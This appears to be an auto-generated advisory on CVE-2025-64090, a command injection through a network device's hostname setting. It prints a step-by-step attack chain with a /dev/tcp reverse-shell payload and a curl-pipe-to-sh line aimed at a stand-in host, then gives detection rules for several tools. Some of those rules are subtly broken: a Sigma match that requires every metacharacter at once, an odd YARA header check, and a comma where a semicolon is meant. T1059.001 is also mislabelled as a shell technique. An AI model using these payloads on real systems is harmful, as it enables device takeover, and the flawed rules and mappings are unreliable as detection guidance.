CVE-2025-64090

Executive Summary

CVE-2025-64090 describes an authenticated OS command injection vulnerability in an unidentified network appliance or embedded device. An attacker with valid low-privileged credentials can inject arbitrary operating system commands through the device's hostname configuration parameter, achieving full remote code execution as the underlying system user. The vulnerability carries a CVSS score of 10.0, indicating critical severity with network-based attack vector, low attack complexity, and complete compromise of confidentiality, integrity, and availability. The vendor has not been publicly identified, no patch has been independently confirmed, and no exploit code has been observed in the wild; however, the attack surface and vulnerability class make this a high-priority target for enterprise security teams managing edge devices, routers, firewalls, or IoT infrastructure.

Technical Analysis

The vulnerability resides in an improper neutralization of special elements within the device's hostname configuration handler. The device exposes an administrative web interface or management API that allows authenticated users to modify network parameters, including the system hostname. When the hostname field is processed, the application fails to sanitize or validate the input before passing it to a system-level shell command, likely in the form of:

system("hostname " + $user_input);

or an equivalent invocation such as:

exec("/bin/sh -c 'set_hostname " . $hostname . "'")

Because the input is concatenated directly into a shell command string without proper escaping or parameterization, an attacker can append shell metacharacters to break out of the intended command context. For example, injecting ; <command> or $(<command>) into the hostname field causes the operating system to execute the attacker-controlled payload.

The attack surface includes:

1. Management Web Interface — the most likely vector, where a "System Settings" or "Network Configuration" page accepts the hostname input.
2. Management API — REST or XML-RPC endpoints that expose a setHostname or equivalent function.
3. CLI/SSH — if the device supports command-line management, a corresponding parameter may exist.

The vulnerability requires authentication, but this is a weak barrier on many embedded devices: default credentials are commonly left unchanged, and the low-privileged account required is often available to any user who has access to the management interface. The CVSS vector reflects this with a Privileges Required (PR) value of L (Low) and a Scope (S) of C (Changed), meaning the vulnerability can compromise resources beyond the security scope of the vulnerable component — i.e., the entire underlying operating system.

Exploitation Scenarios

Step 1 — Target Identification: The attacker uses Shodan or Censys to identify exposed management interfaces on internet-facing devices. Dork queries such as http.title:" Device Management " or http.html:"hostname" surface candidate targets. The attacker also performs banner grabbing to determine device type, firmware version, and whether the management interface permits unauthenticated or default-credential access. For internal attacks, the attacker enumerates the device's LAN IP after gaining initial foothold elsewhere on the network.

Step 2 — Authentication: The attacker authenticates using either default credentials (e.g., admin/admin, root/root) obtained from vendor documentation, brute-force attacks against weak passwords, or credentials harvested from previous phishing campaigns. Since the vulnerability requires only Low privileges, a guest account or a restricted operator account is sufficient — the attacker does not need administrator access to trigger the flaw.

Step 3 — Payload Preparation: The attacker crafts the malicious hostname string. The classic injection pattern for shell command concatenation is:

validhostname; <command>

or using command substitution:

$(<command>)

For a reverse shell to a C2 server at 203.0.113.5 on port 4444, the payload becomes:

normalhostname; /bin/sh -i >& /dev/tcp/203.0.113.5/4444 0>&1

Alternatively, for a non-interactive payload that writes output to a web-accessible location:

hostname; curl http://203.0.113.5/payload.sh | sh

Step 4 — Execution: The attacker submits the crafted hostname via HTTP POST to the management web interface (e.g., POST /cgi-bin/set_config.cgi with parameter hostname=normalhostname;cmd) or via API call. The server-side script concatenates the input into the hostname command and passes it to system() or exec().

Step 5 — Weaponization and Post-Exploitation: Upon submission, the injected command executes with the privileges of the web service user, which on many embedded devices is root or an equivalent high-privileged account. If the attacker used a reverse shell, they now have an interactive session. Post-exploitation activities include:

• Persisting via a cron job or web shell upload to the device's writable web directory.
• Exfiltrating configuration files, credentials, VPN keys, and other sensitive data stored on the device.
• Modifying firewall rules or routing tables to enable lateral movement and broader network access.
• Pivoting to internal network resources using the compromised device as a jump host.
• In an IoT or industrial context, causing denial of service by rebooting the device or corrupting its configuration store.

Impact Assessment

The business impact of this vulnerability is critical for any organization operating affected devices, even though the specific vendor remains unidentified. The CVSS score of 10.0 corresponds to a worst-case scenario: network-based attack, low complexity, low required privileges, no user interaction, and a changed security scope with total loss of confidentiality, integrity, and availability.

Key impact vectors include:

• Confidentiality: An attacker gains access to the underlying operating system, allowing theft of device credentials, encryption keys, VPN configuration, routing tables, and any data transiting the device during packet capture.
• Integrity: The attacker can modify device configuration, alter routing behavior, install backdoors, or cause the device to serve malicious content to clients.
• Availability: Command execution permits reboot, firmware corruption, or resource exhaustion, taking the device offline. This is especially damaging for edge devices, routers, and firewalls that serve as critical network chokepoints.
• Regulatory and Compliance: If the device processes regulated data (e.g., medical infrastructure, financial transactions, or OT/ICS environments), a compromise may trigger breach notification obligations under GDPR, HIPAA, NERC CIP, or sector-specific regulations.

The blast radius extends beyond the affected device: compromised gateways and edge devices are routinely used as beachheads for lateral movement into deeper corporate networks. The widespread use of embedded device management interfaces on internal networks amplifies the risk for enterprises, particularly those with flat network segmentation or inadequate network monitoring.

Detection Guidance

Sigma Rule

title: Suspicious Hostname Parameter with Shell Metacharacters
id: 7a2f0a56-2e26-4a9d-9cda-64866f036d7b
status: experimental
description: Detects HTTP requests to device management interfaces where the hostname parameter contains shell command injection metacharacters
author: ValtersIt Threat Intelligence
date: 2025/06/10
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method:
            - 'POST'
            - 'GET'
        cs-uri-query|contains:
            - 'hostname='
            - 'set_hostname='
            - 'sys_hostname='
        cs-uri-query|contains|all:
            - ';'
            - '|'
            - '$('
            - '`'
            - '&'
    filter:
        cs-uri-query|contains:
            - ';jsessionid='
            - ';c='   # Common session parameter patterns
    condition: selection and not filter
    fields:
        - c-ip
        - cs-username
        - cs-uri-query
    level: high
    falsepositives:
        - Legitimate hostname values containing semicolons (extremely rare)
        - Admin tools that URL-encode special characters in hostname fields
    tags:
        - attack.t1203
        - attack.t1059.001
        - cve.2025.64090

YARA Rule

rule CVE_2025_64090_Hostname_Command_Injection {
    meta:
        author = "ValtersIt Threat Intelligence"
        description = "Detects shell metacharacters in hostname configuration request payloads"
        date = "2025-06-10"
        cve = "CVE-2025-64090"
        severity = "critical"
    
    strings:
        $hostname_param = "hostname=" ascii nocase
        $set_hostname = "set_hostname" ascii nocase
        $sys_hostname = "sys_hostname" ascii nocase
        $semicolon = ";" ascii
        $cmd_sub = "$(" ascii
        $backtick = "`" ascii
        $pipe = "|" ascii
        $shell_redir = ">&" ascii
        $reverse_sh = "/bin/sh" ascii
        $tcp_suffix = "/dev/tcp/" ascii
        $curl_wget = "curl " ascii nocase
        $wget_cmd = "wget " ascii nocase
    
    condition:
        uint16(0) == 0x0d0a and
        any of ($hostname_param, $set_hostname, $sys_hostname) and
        any of ($semicolon, $cmd_sub, $backtick, $pipe) and
        (any of ($shell_redir, $reverse_sh, $tcp_suffix) or any of ($curl_wget, $wget_cmd))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-64090 - Hostname Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"hostname="; http_client_body; nocase; pcre:"/(?:hostname|set_hostname|sys_hostname)=[^&]*(?:;|\$\()/Ui"; pcre:"/(?:hostname|set_hostname|sys_hostname)=[^&]*(?:/bin/sh|\/dev\/tcp|curl|wget|nc|bash)/Ui"; classtype:attempted-admin; sid:2025640901; rev:1; metadata:cve CVE-2025-64090, attack_target network_appliance, affected_product unknown_embedded_device;)

Elastic Detection

sequence by source.ip with maxspan=30s
  [network where event.type == "connection" and destination.port in (80, 443, 8080, 8443)]
  [http where http.request.method == "POST" and 
     (url.path like "*hostname*" or http.request.body like "*hostname=*") and
     (http.request.body like "*,*" or http.request.body like "*$(*" or 
      http.request.body like "*`*" or http.request.body like "*|*") and
     (http.request.body like "*/bin/sh*" or http.request.body like "*/dev/tcp/*" or
      http.request.body like "*curl*" or http.request.body like "*wget*" or
      http.request.body like "*nc *" or http.request.body like "*bash*")]

Splunk SPL Query

index=proxy OR index=web earliest=-7d
| where match(cs_uri_query, "(?i)hostname=.*(\;|\$\()") 
   OR match(form_data, "(?i)(hostname|set_hostname|sys_hostname)=.*(\;|\$\()")
| eval has_shell = if(match(form_data, "(?i)(/bin/sh|/dev/tcp/|curl|wget|bash|nc\s+-)"), "YES", "NO")
| where has_shell == "YES"
| table _time, src_ip, dest_ip, dest_port, cs_username, cs_uri_query, form_data, http_user_agent
| sort - _time

Wazuh OSSEC Rule

<group name="web,command_injection,">
  <rule id="640901" level="15" frequency="5" timeframe="60">
    <if_matched_sid>640900</if_matched_sid>
    <description>CVE-2025-64090: Multiple hostname command injection attempts detected from same source</description>
    <group>attack.t1203, cve.2025.64090</group>
  </rule>

  <rule id="640900" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">\.(?:cgi|php|py|pl)(?i).*hostname</field>
    <regex>hostname=.*(\;|\$\()</regex>
    <description>CVE-2025-64090: Possible OS command injection via hostname parameter</description>
    <group>attack.t1203, cve.2025.64090</group>
    <options>no_full_log</options>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — a single unverified source claims a patch exists. The CVE record lists no vendor, no patch sources, and no affected version ranges. Until the vendor is identified and a patch is independently verified, assume the vulnerability remains unpatched.

Immediate Mitigations (Days 0-7):

1. Restrict management interface access — Firewall the management web interface and API to trusted management VLANs only. Disable internet-accessible administrative ports (80, 443, 8080, 8443) unless absolutely required for operations.
2. Enforce strong authentication — Mandate unique, complex credentials for all device accounts. Disable default accounts immediately. Implement multi-factor authentication for any administrative or management access if the device supports it.
3. Network segmentation — Isolate embedded devices and edge appliances from the core corporate network. Implement strict east-west traffic rules to limit lateral movement in the event of compromise.
4. Deploy proactive detection — Implement the Sigma, YARA, Suricata, Elastic, Splunk, and Wazuh rules provided above in your SIEM/IDS infrastructure. Monitor for hostname parameter anomalies and shell metacharacter injection attempts.

Patch/Upgrade Steps:

1. Identify affected devices — Inventory all network-attached devices that expose hostname configuration functionality. Cross-reference firmware versions and vendor advisory lists.
2. Track vendor communications — Subscribe to CVE alerts and vendor security advisories. The CVE ID is CVE-2025-64090; monitor NVD and vendor channels for the identification of the affected product and patch release.
3. Apply the vendor patch once the vendor and patch are identified. Confirm the patch via a secondary source (e.g., vendor advisory, independent researcher validation) before deployment.

Long-Term Hardening:

1. Configuration management — Enforce configuration standards that prohibit use of default credentials and mandate least-privilege access to management interfaces.
2. Regular vulnerability scanning — Incorporate the affected device type into your vulnerability management program; schedule periodic authenticated scans to detect configuration weaknesses.
3. Firmware lifecycle management — Establish a regular firmware update cadence for all embedded devices and edge appliances. Maintain an inventory file that tracks supported end-of-life dates.
4. Network monitoring — Continuously monitor for command injection patterns across all management interfaces, not just the hostname parameter. The same application may contain related injection flaws in other configuration fields.

References

1. NVD Entry for CVE-2025-64090 — https://nvd.nist.gov/vuln/detail/CVE-2025-64090 (official record; watch for updates as the vendor is identified)
2. CISA Known Exploited Vulnerabilities Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog (confirm no KEV entry; check periodically for updates if the vulnerability is exploited in the wild)
3. MITRE ATT&CK Technique T1203 — Exploitation for Client Execution — https://attack.mitre.org/techniques/T1203/ (covers the exploitation phase of the attack chain)
4. OWASP Command Injection Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html (general guidance for vendors and defenders on command injection remediation)
5. MITRE ATT&CK Technique T1059.001 — Command and Scripting Interpreter: Shell — https://attack.mitre.org/techniques/T1059/001/ (covers the shell execution mechanism used for payload delivery)

Exploit-in-the-Wild Status: No public exploit code exists, no PoC has been published, and no threat actor campaigns have been attributed to this CVE. CISA has not added this CVE to the KEV catalog. However, the vulnerability class (authenticated command injection on embedded devices) is a well-known target pattern for botnet operators and APT groups; expect exploitation attempts to increase once the vendor is identified or PoC materializes. Monitor threat intelligence feeds for CVE-2025-64090 mentions and adjust detection rules accordingly.